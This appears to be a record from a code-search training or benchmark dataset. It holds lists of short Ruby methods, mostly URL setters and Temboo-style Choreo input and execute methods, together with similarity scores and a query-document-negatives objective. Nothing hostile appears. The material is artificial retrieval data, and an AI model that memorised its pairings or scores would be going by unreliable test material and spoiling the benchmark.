"def url=(url)\n pattern = Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n if !url.nil? && url !~ pattern\n fail ArgumentError, \"invalid value for \\\"url\\\", must conform to the pattern #{pattern}.\"\n end\n\n @url = url\n end",
"def url=(value)\n @url = value\n\n if localhost? && @server_thread.nil?\n require \"rack\"\n require 'webrick'\n\n ARGV.clear # clear ARGV as it is used by Rack to configure server\n\n server = WEBrick::HTTPServer.new(:Port => port, AccessLog: []).tap do |server|\n server.mount mount_path, Rack::Handler::WEBrick, Rack::Server.new.app\n end\n @server_thread = Thread.new { server.start }\n trap('INT') do\n server.shutdown\n exit\n end\n end\n end",
"def uri=(url)\n @uri = URI.parse(url)\n if (with && !connection.request_body_permitted?)\n @uri.query = with\n end\n end",
"def set_url\n @url = Url.find_by(key: params[:key])\n end",
"def endpoint_url=(url)\n params['accepturl'] = params['declineurl'] = params['exceptionurl'] = params['cancelurl'] = url\n end",
"def url=(u)\n u = u.try(:strip)\n u = \"http://#{u}\" if u.present? and u !~ /^\\w+:\\/\\//\n if self.page\n self.page.url = u\n else\n @url = u\n end\n end",
"def url=(url_string)\n frm.text_field(:id=>\"url\").set(url_string)\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def set_url\n @url = Url.find(params[:id])\n end",
"def url(arg = nil)\n set_or_return(:url,\n arg,\n kind_of: String,\n default: 'http://localhost:8000')\n end",
"def solr_url=(v)\n @solr_url = v\n writer_settings[\"solr.url\"] = v if writer_settings\n end",
"def upload_url=(value)\n @upload_url = value\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def url=(url)\n @url = URI.parse(url)\n @country = Amazon::Hacks::Link.extract_country(url)\n @asin = Amazon::Hacks::Link.extract_asin(url)\n end",
"def url=(url)\n uri = URI.parse(url)\n @scheme = uri.scheme\n @app_id = uri.path.split('/').last\n @key = uri.user\n @secret = uri.password\n @host = uri.host\n @port = uri.port\n end",
"def set_AuthorURL(value)\n set_input(\"AuthorURL\", value)\n end",
"def url(url=nil)\n return @url unless url\n @url = URI.parse(set_scheme(url)).to_s\n end",
"def url(url=nil)\n return @url unless url\n @url = URI.parse(set_scheme(url)).to_s\n end",
"def update_url(url)\n assert_type(url, Wgit::Url)\n selection = { url: url }\n url_hash = Wgit::Model.url(url).merge(Wgit::Model.common_update_data)\n update = { '$set' => url_hash }\n mutate(true, :urls, selection, update)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def url(url=nil)\n return @url unless url\n @url = URI.parse(set_scheme(url)).to_s\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def start_url(url)\n @start_url = url\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def set_ForwardingURL(value)\n set_input(\"ForwardingURL\", value)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def update!(**args)\n @url = args[:url] if args.key?(:url)\n end",
"def eventstore_url=(value)\n @eventstore_url =\n if value.is_a?(Connection::Url)\n value\n else\n Connection::UrlParser.new.call(value)\n end\n end",
"def set_api_url(url)\n @api_url = url\n end",
"def web_url=(value)\n @web_url = value\n end",
"def web_url=(value)\n @web_url = value\n end",
"def web_url=(value)\n @web_url = value\n end",
"def url=(uri)\n @conn = nil\n @url = uri\n end",
"def set_CancelURL(value)\n set_input(\"CancelURL\", value)\n end",
"def []=(url, value)\n case\n when store.respond_to?(:[]=)\n store[key_for(url)] = value\n when store.respond_to?(:set)\n store.set key_for(url), value\n when store.respond_to?(:write)\n store.write key_for(url), value\n end\n end",
"def app_url=(value)\n @app_url = value\n end",
"def url=(new_url)\n super(new_url)\n unless URI.parse(self.url).scheme\n self.url.prepend(\"http://\")\n end\n rescue\n end"
] | [
"0.8073227",
"0.76355296",
"0.76355296",
"0.76355296",
"0.76355296",
"0.76355296",
"0.76355296",
"0.76355296",
"0.71796364",
"0.71796364",
"0.71796364",
"0.71796364",
"0.71796364",
"0.70758444",
"0.6956582",
"0.68834627",
"0.68829864",
"0.68481743",
"0.6793545",
"0.6757589",
"0.6662082",
"0.6633582",
"0.6589197",
"0.65566564",
"0.65509653",
"0.6488953",
"0.6464315",
"0.6434313",
"0.63489246",
"0.62928766",
"0.62928766",
"0.6279573",
"0.6274055",
"0.61925",
"0.6153666",
"0.61454016",
"0.61278105",
"0.59922844",
"0.59446305",
"0.5936115",
"0.59217626",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.58766395",
"0.586787",
"0.583799",
"0.5812072",
"0.5809464",
"0.5807772",
"0.5799621",
"0.5791598",
"0.57881826",
"0.57881826",
"0.57881194",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.5786967",
"0.57866746",
"0.57853407",
"0.57768935",
"0.5769664",
"0.5769664",
"0.5769664",
"0.5769664",
"0.5769664",
"0.5769664",
"0.57511604",
"0.57511604",
"0.57511604",
"0.57509226",
"0.5738797",
"0.573194",
"0.573194",
"0.573194",
"0.57311726",
"0.5714796",
"0.56944805",
"0.56823695",
"0.5661181"
] | 0.78341466 | 1 |
Set the value of the Username input for this Choreo. | def set_Username(value)
set_input("Username", value)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def username=(username)\n validate_options(username: username)\n @username = username\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def set_Username(value)\n set_input(\"Username\", value)\n end",
"def username=(value)\n write_attribute(:username, value)\n reset_persistence_token if username_changed?\n end",
"def username=(new_username)\n @username = new_username\n end",
"def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end",
"def username= username\n\t\t\tcheck_username username\n\t\t\t@username = username\n\t\tend",
"def update_username(username)\n @username = username\n end",
"def username= new_username\n @username = new_username\n end",
"def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end",
"def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end",
"def username=(un)\n self[:username] = (un.nil? ? nil : un.downcase)\n end",
"def user=(username)\n @user ? find_and_update('//apps:login', userName: [@user, username]) : create('login', username)\n\n @user = username\n end",
"def username=(new_name)\n @username = new_name.upcase\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def set_User(value)\n set_input(\"User\", value)\n end",
"def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend",
"def set_user\n @User = User.find_by_username(params[:username])\n end",
"def username=(value)\n if value\n value.downcase!\n value.squish!\n end\n super(value)\n end",
"def username=(username)\n write_attribute(:username, username.downcase)\n end",
"def username=(username)\n write_attribute(:username, username.downcase)\n end",
"def set_user\n if params[:username]\n @user = User.find_by!(username: params.fetch(:username))\n else\n @user = current_user\n end\n end",
"def username(name = nil)\n if !name then @username\n else @username = name\n end\n end",
"def username(u)\n @config[:username] = u\n end",
"def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end",
"def username=(user) #method name is username= and it takes on the user parameter and sets it equals to the username variable \n @username = user\n end",
"def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end",
"def fill_username_input_with(username)\n find(@username_input).set username\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend",
"def username=(value)\n write_attribute :username, value.downcase\n end",
"def set_user\n @user = User.find(username: params[:username])\n end",
"def set_username \n puts \"What would you like your new username to be?\"\n set_username = gets.strip\n @username = set_username \n end",
"def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end",
"def set_cognito_username\n\t\tif self.cognito_username.blank?\n\t\t\tbegin\n\t\t\t\t\n\t\t\t\tresponse = $c.get_user({\n\t\t\t\t\taccess_token: self.access_token\n\t\t\t\t})\n\t\t\t\tself.cognito_username = response.username\n\t\t\trescue => e\n\t\t\t\tself.errors.add(:id,e.to_s)\n\t\t\tend\n\t\tend\n\t\tself.skip_background_job = true\n\t\tself.save\n\tend",
"def assign_credential(username)\n raise ArgumentError, \"The username cannot be nil\" unless username\n raise ArgumentError, \"The username cannot be empty\" if username.empty?\n\n self.service.assignCredential(username.to_s)\n \n @credentials = nil\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def update!(**args)\n @username = args[:username] if args.key?(:username)\n end",
"def set_user\n @user = User.where(username: params[:username]).take\n end",
"def set_user\n @user = User.find_by(username: params[:username])\n end",
"def downcase_username()\n self.username = username.downcase\n end",
"def user=(username)\n contact = if username.is_a?(User)\n username.id\n else\n username\n end\n @tainted = true\n end",
"def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end",
"def set_AuthorUsername(value)\n set_input(\"AuthorUsername\", value)\n end",
"def username(name)\n default_message_options[:username] = name\n end",
"def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end",
"def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end",
"def set_user\n @user = User.find_by(username: params[:id])\n end",
"def edit_username(user, username)\n manager = UserManager.new\n if manager.user_exists?(username)\n return false\n else\n manager.remove( :username => user.username )\n user.username = username\n session[\"username\"] = username\n session[\"user\"] = user\n user.save_data\n end\n end",
"def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end",
"def set_AccountName(value)\n set_input(\"AccountName\", value)\n end",
"def set_AccountName(value)\n set_input(\"AccountName\", value)\n end",
"def cmd_notify_set_user(*args)\n\t\t\t\tif args.length > 0\n\t\t\t\t\tprint_status(\"Setting the Slack handle to #{args[0]}\")\n\t\t\t\t\t@user_name = args[0]\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Please provide a value\")\n\t\t\t\tend\n\t\t\tend",
"def edit_username(username)\n wait_until{ change_username_link.visible? }\n change_username_link.click\n username_tb.type_text username\n submit_edit_username_btn.click\n verify_password(QA_ENV['bus_password'])\n alert_accept\n wait_until{ !submit_edit_username_btn.visible? }\n end",
"def set_user\n @user = User.find_by(username: params[:user][:username])\n session[:user_id] = @user.id\n end",
"def set_username\n return if username?\n return unless email?\n\n base = email.partition('@').first.tr('.', '_')\n\n self.username = generate_username(base)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end",
"def set_UserId(value)\n set_input(\"UserId\", value)\n end"
] | [
"0.7176145",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69219035",
"0.69218135",
"0.69218135",
"0.691412",
"0.68231165",
"0.66364545",
"0.65619135",
"0.6495111",
"0.6481316",
"0.6428798",
"0.6428798",
"0.6408433",
"0.6280375",
"0.6205188",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.6122531",
"0.61215293",
"0.6118824",
"0.6116275",
"0.6092115",
"0.6043562",
"0.6043562",
"0.59967035",
"0.59716296",
"0.5941946",
"0.58898276",
"0.5881588",
"0.5849595",
"0.58226424",
"0.5821488",
"0.5821488",
"0.57389253",
"0.5735315",
"0.5656621",
"0.560236",
"0.55724597",
"0.5563413",
"0.5542538",
"0.55374706",
"0.55374706",
"0.55374706",
"0.5477701",
"0.5469857",
"0.54639363",
"0.5457795",
"0.54134375",
"0.5398109",
"0.53820163",
"0.53693825",
"0.53693825",
"0.5363055",
"0.5350266",
"0.5332275",
"0.53246355",
"0.53246355",
"0.5290145",
"0.5284279",
"0.5253988",
"0.51987433",
"0.51918316",
"0.51918316",
"0.51918316",
"0.51918316"
] | 0.720891 | 8 |
Obtain an InputSet object, used to define inputs for an execution of this Choreo. | def new_input_set()
return AuthenticateInputSet.new()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(input_set = nil)\n # If the inputs are not configured, create a blank set.\n if input_set == nil\n input_set = InputSet.new()\n end\n param_map = {\"source_id\" => TembooSession.get_identifier()}\n body = input_set.format_inputs()\n results = @session.post_request(get_path(), body, param_map)\n return results.body()\n end",
"def new_input_set()\n return MathAndScienceInputSet.new()\n end",
"def new_input_set()\n return SetDescriptionInputSet.new()\n end",
"def new_input_set()\n return ContractsInputSet.new()\n end",
"def input\n @input ||= Set.new\n end",
"def new_input_set()\n return GetEtymologyInputSet.new()\n end",
"def new_input_set()\n return GetDefinitionsInputSet.new()\n end",
"def new_input_set()\n return GetUserInputSet.new()\n end",
"def new_input_set()\n return ExecutePaymentInputSet.new()\n end",
"def new_input_set()\n return MentionsInputSet.new()\n end",
"def new_input_set()\n return UserInputSet.new()\n end",
"def new_input_set()\n return GetExamplesInputSet.new()\n end",
"def new_input_set()\n return CreateUserInputSet.new()\n end",
"def new_input_set()\n return GetContextInputSet.new()\n end",
"def new_input_set()\n return GetInvoiceInputSet.new()\n end",
"def new_input_set()\n return HealthAndSportsInputSet.new()\n end",
"def new_input_set()\n return MusicAndTheArtsInputSet.new()\n end",
"def new_input_set()\n return DownloadSpreadsheetInputSet.new()\n end",
"def new_input_set()\n return GetDeploymentInputSet.new()\n end",
"def new_input_set()\n return GetByZipInputSet.new()\n end",
"def new_input_set()\n return UpdateUserInputSet.new()\n end",
"def new_input_set()\n return RetrieveUserInputSet.new()\n end",
"def new_input_set()\n return CalculateTariffInputMetaDataInputSet.new()\n end",
"def new_input_set()\n return GetByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return SetLocationInputSet.new()\n end",
"def new_input_set()\n return GenomesInputSet.new()\n end",
"def new_input_set()\n return AssistanceInputSet.new()\n end",
"def new_input_set()\n return GetFileInformationInputSet.new()\n end",
"def new_input_set()\n return GetCurrentUserInputSet.new()\n end",
"def new_input_set()\n return GetPhotosInputSet.new()\n end",
"def new_input_set()\n return GetFileInfoInputSet.new()\n end",
"def new_input_set()\n return EnrollmentDemographicsInputSet.new()\n end",
"def new_input_set()\n return ResidenceInputSet.new()\n end",
"def new_input_set()\n return GetCommitteeInputSet.new()\n end",
"def new_input_set()\n return GetDataStreamInputSet.new()\n end",
"def new_input_set()\n return GetWeatherInputSet.new()\n end",
"def new_input_set()\n return ZipFileInputSet.new()\n end",
"def new_input_set()\n return HistoryAndCivicsInputSet.new()\n end",
"def new_input_set()\n return GetDocumentInputSet.new()\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetDescriptionResultSet.new(resp)\n return results\n end",
"def new_input_set()\n return FindInputSet.new()\n end",
"def new_input_set()\n return GetTerritoryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return BulkUpdateInputSet.new()\n end",
"def new_input_set()\n return GetTopExampleInputSet.new()\n end",
"def new_input_set()\n return ListAllSpreadsheetsInputSet.new()\n end",
"def new_input_set()\n return FinancialAidInputSet.new()\n end",
"def new_input_set()\n return AutomobileInputSet.new()\n end",
"def new_input_set()\n return ShipmentInputSet.new()\n end",
"def new_input_set()\n return PetInputSet.new()\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def inputs\n @inputs ||= Scenario::Inputs.new(self)\n end",
"def new_input_set()\n return CopyFileInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return PackageServicesRequestInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return GetAccessTokenInputSet.new()\n end",
"def new_input_set()\n return GetTariffsInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return GetBalanceInputSet.new()\n end",
"def new_input_set()\n return GetStudentStatsInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return PurchaseInputSet.new()\n end",
"def new_input_set()\n return GetBalanceInputSet.new()\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return CopyFileInputSet.new()\n end",
"def new_input_set()\n return GetWeatherByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return ListSharedSpreadsheetsInputSet.new()\n end",
"def new_input_set()\n return GetDatabaseInputSet.new()\n end",
"def new_input_set()\n return GetLocationInputSet.new()\n end",
"def new_input_set()\n return UpdateFileInputSet.new()\n end",
"def new_input_set()\n return UpdateSettingsInputSet.new()\n end",
"def input_conv_set\n @shell_input_procs << proc do |args|\n if args[0] && args[0].include?('=')\n ['set'] + args.shift.split('=') + args\n else\n args\n end\n end\n self\n end",
"def new_input_set()\n return GetMyRecordsInputSet.new()\n end",
"def new_input_set()\n return ProcessDirectPaymentInputSet.new()\n end",
"def new_input_set()\n return RetrieveActivitiesInputSet.new()\n end",
"def new_input_set()\n return RetrieveActivitiesInputSet.new()\n end",
"def new_input_set()\n return MoveFileOrFolderInputSet.new()\n end",
"def new_input_set()\n return MassPaymentsInputSet.new()\n end",
"def new_input_set()\n return InsertInputSet.new()\n end",
"def new_input_set()\n return GetTokenInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end"
] | [
"0.6651932",
"0.6483557",
"0.632022",
"0.6310716",
"0.6279258",
"0.6270703",
"0.6267418",
"0.6260844",
"0.6256668",
"0.6238553",
"0.622937",
"0.62193567",
"0.61860573",
"0.6176299",
"0.6150794",
"0.6143215",
"0.61124265",
"0.6099851",
"0.6094492",
"0.60777086",
"0.6077177",
"0.6069973",
"0.60606563",
"0.6060594",
"0.6055688",
"0.6042857",
"0.6029109",
"0.6023301",
"0.60159636",
"0.6009737",
"0.60066414",
"0.59928894",
"0.59684557",
"0.5948535",
"0.59475315",
"0.59334135",
"0.5931538",
"0.5929011",
"0.5928725",
"0.59218884",
"0.5918166",
"0.5909911",
"0.59067297",
"0.59067297",
"0.59067297",
"0.59067297",
"0.59067297",
"0.5902598",
"0.5894414",
"0.5883318",
"0.588302",
"0.5881336",
"0.5874661",
"0.5874505",
"0.5863789",
"0.5863789",
"0.5863789",
"0.5863789",
"0.58635205",
"0.5858565",
"0.58577365",
"0.5856338",
"0.58560866",
"0.5855768",
"0.5851157",
"0.5845712",
"0.5843948",
"0.5843948",
"0.5843948",
"0.5843948",
"0.5843948",
"0.58437115",
"0.58430946",
"0.5841178",
"0.5841178",
"0.5841178",
"0.58392435",
"0.58389765",
"0.5837928",
"0.5834659",
"0.5834659",
"0.5831366",
"0.583026",
"0.5813422",
"0.5812746",
"0.5810538",
"0.581016",
"0.5809796",
"0.58043486",
"0.5803254",
"0.5800508",
"0.57989347",
"0.57989347",
"0.57919365",
"0.5791678",
"0.57905143",
"0.5787188",
"0.5784021",
"0.5784021",
"0.5784021",
"0.5784021"
] | 0.0 | -1 |
Execute the Choreo using the specified InputSet as parameters, wait for the Choreo to complete and return a ResultSet containing the execution results. | def execute(input_set = nil)
resp = super(input_set)
results = AuthenticateResultSet.new(resp)
return results
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetDescriptionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ResidenceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetEtymologyResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ContractsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDatabaseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GenomesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FinancialAidResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ExecutePaymentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetLocationResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ShowResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ListSetsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MathAndScienceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MentionsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = BulkUpdateResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AutomobileResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GBDResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NextUploadServerResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecoveryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AncestryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateCollectionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetCollectionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = DietResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsByIdResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ClosestResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AvailableResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetMyRecordsResultSet.new(resp)\n return results\n end",
